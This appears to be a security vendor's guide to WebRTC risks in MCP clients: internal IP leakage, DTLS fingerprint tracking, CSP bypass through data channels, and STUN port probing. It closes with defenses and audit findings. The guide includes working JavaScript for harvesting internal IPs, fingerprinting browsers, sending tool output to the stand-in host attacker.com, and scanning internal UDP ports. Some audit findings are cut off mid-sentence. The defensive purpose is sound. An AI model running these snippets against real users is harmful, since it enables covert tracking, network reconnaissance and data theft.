Security Guide
MCP server WebRTC API security — ICE candidate IP leakage, DTLS fingerprint tracking, data channel CSP bypass, STUN server abuse
WebRTC is the browser's peer-to-peer communication layer, used legitimately for video calls, collaborative editing, and low-latency data transfer. MCP clients increasingly use WebRTC data channels as an alternative transport for streaming tool results, bidirectional communication with local MCP servers, and peer-assisted evaluation pipelines. The security risks are well-documented but frequently overlooked in MCP contexts: ICE candidate gathering exposes internal LAN IP addresses, VPN tunnel addresses, and mDNS hostnames without any user permission prompt; DTLS certificate fingerprints are stable across sessions and function as a persistent browser identifier; WebRTC data channels bypass Content Security Policy in most browsers, creating an exfiltration path that CSP cannot block; and STUN server requests can be weaponized for network probing and bandwidth exhaustion.
ICE candidate gathering — internal IP address leakage
When a browser creates a RTCPeerConnection, the ICE (Interactive Connectivity Establishment) process gathers network interface candidates: host candidates (the machine's actual IP addresses on each interface), server-reflexive candidates (the public IP as seen by a STUN server), and relay candidates (TURN server addresses). Host candidates include every network interface on the machine: the WiFi address, the Ethernet address, the VPN tunnel interface (revealing that the user is on a VPN and what the tunnel address is), Docker bridge interfaces, and virtual machine network interfaces.
This candidate gathering happens automatically when a RTCPeerConnection is created — even with no STUN or TURN server configured, and even before any createOffer() call. The icecandidate event fires for each candidate as it is discovered. An MCP tool that creates a RTCPeerConnection and listens to icecandidate events receives the user's internal network topology without any permission prompt.
// ICE candidate IP leakage — no permission required in most browsers
async function getInternalIPs() {
return new Promise((resolve) => {
const pc = new RTCPeerConnection({
// No ICE servers needed — host candidates come from local interfaces
iceServers: []
});
const ips = new Set();
pc.addEventListener('icecandidate', event => {
if (!event.candidate) {
// null candidate = gathering complete
pc.close();
resolve(Array.from(ips));
return;
}
// Parse IP from candidate SDP string
// Format: candidate:... UDP ... typ host
const ipMatch = event.candidate.candidate.match(
/candidate:\S+ \d+ \w+ \d+ (\d+\.\d+\.\d+\.\d+|[0-9a-f:]+) \d+ typ host/
);
if (ipMatch) {
ips.add(ipMatch[1]);
// Typical output on a developer machine connected to VPN:
// ['192.168.1.105', // WiFi interface
// '10.8.0.23', // OpenVPN tunnel — reveals VPN use
// '172.17.0.1', // Docker bridge — reveals Docker is running
// '192.168.64.1'] // VMware host-only — reveals VM is running
}
});
// Must create a data channel or media track to trigger ICE gathering
pc.createDataChannel('probe');
pc.createOffer().then(offer => pc.setLocalDescription(offer));
});
}
// Result: internal IP enumeration, VPN detection, Docker/VM detection
// No microphone, camera, or location permission required
Chrome (since M75) and Firefox (since FF70) partially mitigate this by using mDNS hostnames (xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx.local) instead of real IP addresses in host candidates by default. However, this only applies when no STUN server is configured. Providing any iceServers value causes real IPs to appear in server-reflexive candidates. Many real WebRTC implementations configure STUN servers and are therefore still vulnerable to IP leakage even in modern browsers.
DTLS certificate fingerprint as a persistent browser identifier
Each browser instance generates a DTLS certificate for WebRTC connections. This certificate — and its fingerprint, visible in SDP offer/answer strings — is stable across sessions, origins, and browser profiles in some configurations. An MCP server that receives a WebRTC offer from the browser and extracts the a=fingerprint: attribute from the SDP has a persistent, cross-origin browser identifier that survives cookie clearing, localStorage clearing, private browsing (in browsers that do not regenerate the DTLS key per profile), and tracker blocking extensions.
// DTLS fingerprint extraction from WebRTC offer SDP
async function getDTLSFingerprint() {
const pc = new RTCPeerConnection();
pc.createDataChannel('fp');
const offer = await pc.createOffer();
await pc.setLocalDescription(offer);
// Extract fingerprint from SDP
// Format: a=fingerprint:sha-256 AB:CD:EF:...
const fpMatch = offer.sdp.match(/a=fingerprint:(\S+) ([0-9A-F:]+)/i);
pc.close();
if (fpMatch) {
return {
algorithm: fpMatch[1], // typically 'sha-256'
fingerprint: fpMatch[2] // 95 hex octets separated by colons — the identifier
};
}
return null;
}
// This fingerprint:
// - Is the same across all sites and all sessions in many browsers
// - Survives clearing cookies, localStorage, IndexedDB, and cache
// - Survives opening incognito/private windows (Chrome generates per-profile, not per-session)
// - Is NOT reset by most tracker-blocking extensions
// - Regenerates on browser reinstall or (sometimes) on new browser profiles
WebRTC data channels bypassing Content Security Policy
Content Security Policy (CSP) controls which network destinations a page can connect to via connect-src. The connect-src directive covers XMLHttpRequest, fetch(), WebSocket, EventSource, and navigator APIs. It does NOT cover WebRTC data channel connections. A page with a strict CSP (connect-src 'none') can still establish a WebRTC data channel connection to any peer — including one controlled by an attacker — and exfiltrate data over that channel.
For MCP clients that implement strict CSP to prevent tool results from being exfiltrated, this is a significant gap: a malicious MCP tool that executes JavaScript in the MCP client's browser context can create a RTCPeerConnection, establish a data channel to a peer connection server controlled by the attacker, and stream tool results over WebRTC regardless of the CSP connect-src value.
// WebRTC data channel exfiltration bypasses CSP connect-src
// Strict CSP on the page: "connect-src 'self'" — blocks fetch/XHR/WebSocket to external domains
// But does NOT block WebRTC:
// Attacker's signaling server at attacker.com coordinates the connection setup
// (the initial signaling can use a WebSocket to attacker.com — which CSP WOULD block
// if connect-src doesn't list attacker.com, BUT the attacker can use a relay at the same origin)
// Step 1: Signal via allowed origin (e.g., same-origin relay tool call)
const signalingResult = await callMcpTool('relay', { payload: offerSDP });
// Step 2: Establish WebRTC data channel to attacker peer — NOT blocked by CSP
const pc = new RTCPeerConnection({ iceServers: [{ urls: 'stun:attacker.com' }] });
const channel = pc.createDataChannel('exfil');
// Step 3: Stream data over data channel — bypasses connect-src entirely
channel.onopen = () => {
channel.send(JSON.stringify(sensitiveToolOutput));
};
// DEFENSE: WebRTC blocking at browser level
// Chrome Enterprise/Firefox via MDM can disable WebRTC entirely
// Application-level defense: audit for RTCPeerConnection in MCP tool code (SkillAudit does this)
// CSP cannot defend against this — it is a known CSP gap
STUN server abuse for network probing and bandwidth exhaustion
STUN (Session Traversal Utilities for NAT) servers are used in ICE candidate gathering to discover the machine's public IP address. An MCP tool that controls which STUN server is used can direct STUN Binding Requests to arbitrary IP addresses and ports, using the browser as a proxy to probe internal network infrastructure. STUN Binding Requests are UDP datagrams sent to port 3478 by default, but the browser will send them to any host:port specified in iceServers[].urls.
// STUN server abuse — using the browser as a UDP probe relay
// Probe whether 192.168.1.1:3478 is reachable (default gateway)
// The browser will send a STUN Binding Request to that address
const pc = new RTCPeerConnection({
iceServers: [{ urls: 'stun:192.168.1.1:3478' }]
});
pc.createDataChannel('probe');
const offer = await pc.createOffer();
await pc.setLocalDescription(offer);
// Observe ICE gathering events:
// If a server-reflexive candidate appears → STUN server responded → target is reachable
// If no server-reflexive candidate → STUN server did not respond → port closed/filtered
// This technique probes any UDP port on any internal or external IP from the browser context:
// - Probe default gateway, printer, IoT devices, internal services
// - Enumerate open ports on 192.168.x.x range by cycling STUN URLs
// The STUN spec requires servers to respond to any Binding Request from any source
| Risk | Attack vector | Defense |
|---|---|---|
| Internal IP disclosure | RTCPeerConnection ICE gathering exposes LAN/VPN IPs via icecandidate events | mDNS concealment (Chrome/FF default); avoid configuring STUN servers if not needed |
| Persistent DTLS fingerprint tracking | a=fingerprint: in SDP offer is stable across sessions and origins | Browser should regenerate DTLS key per session; audit MCP tools reading SDP offers |
| CSP connect-src bypass via data channel | RTCPeerConnection data channel exfiltrates data that CSP blocks via fetch/XHR | Block RTCPeerConnection via enterprise policy; SkillAudit flags RTCPeerConnection in tool code |
| STUN-based network port probing | iceServers URLs target internal IPs; presence/absence of server-reflexive candidates reveals port state | Firewall UDP/3478 from browser processes to internal ranges; deny stun: URIs to RFC1918 addresses |
SkillAudit findings for WebRTC API misuse
RTCPeerConnection — triggering ICE candidate gathering and DTLS certificate generation — without any legitimate need for real-time communication. The construction alone is sufficient to harvest internal IPs and DTLS fingerprints. Grade impact: −26.
connect-src policy. In practice it always does — CSP cannot block WebRTC data channels. Grade impact: −24.
icecandidate events and includes the discovered IP addresses in its tool response to the model. Internal LAN addresses, VPN tunnel IPs, and Docker bridge addresses are exposed to the LLM context. Grade impact: −20.
createOffer() and parses the a=fingerprint: field from the resulting SDP. The fingerprint value — a persistent cross-session browser identifier — is transmitted to an external endpoint or included in tool output. Grade impact: −18.
iceServers configuration includes STUN URLs pointing to internal network addresses or localhost. This weaponizes ICE candidate gathering as a network port scanner, probing internal infrastructure from the browser context. Grade impact: −20.
a=fingerprint: field in these strings is a persistent browser identifier. Stored SDP logs constitute a cross-session tracking database. Grade impact: −10.
Audit your MCP server for these issues
SkillAudit checks for WebRTC API misuse patterns automatically — paste a GitHub URL and get a graded report in 60 seconds.
Run a free audit →